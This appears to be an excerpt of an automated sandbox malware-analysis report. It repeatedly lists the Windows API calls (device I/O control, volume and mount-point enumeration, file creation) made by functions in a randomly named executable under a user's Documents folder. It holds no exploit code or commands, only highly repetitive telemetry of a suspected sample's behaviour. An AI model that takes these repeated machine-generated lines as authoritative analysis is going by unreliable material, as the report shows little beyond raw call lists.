Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
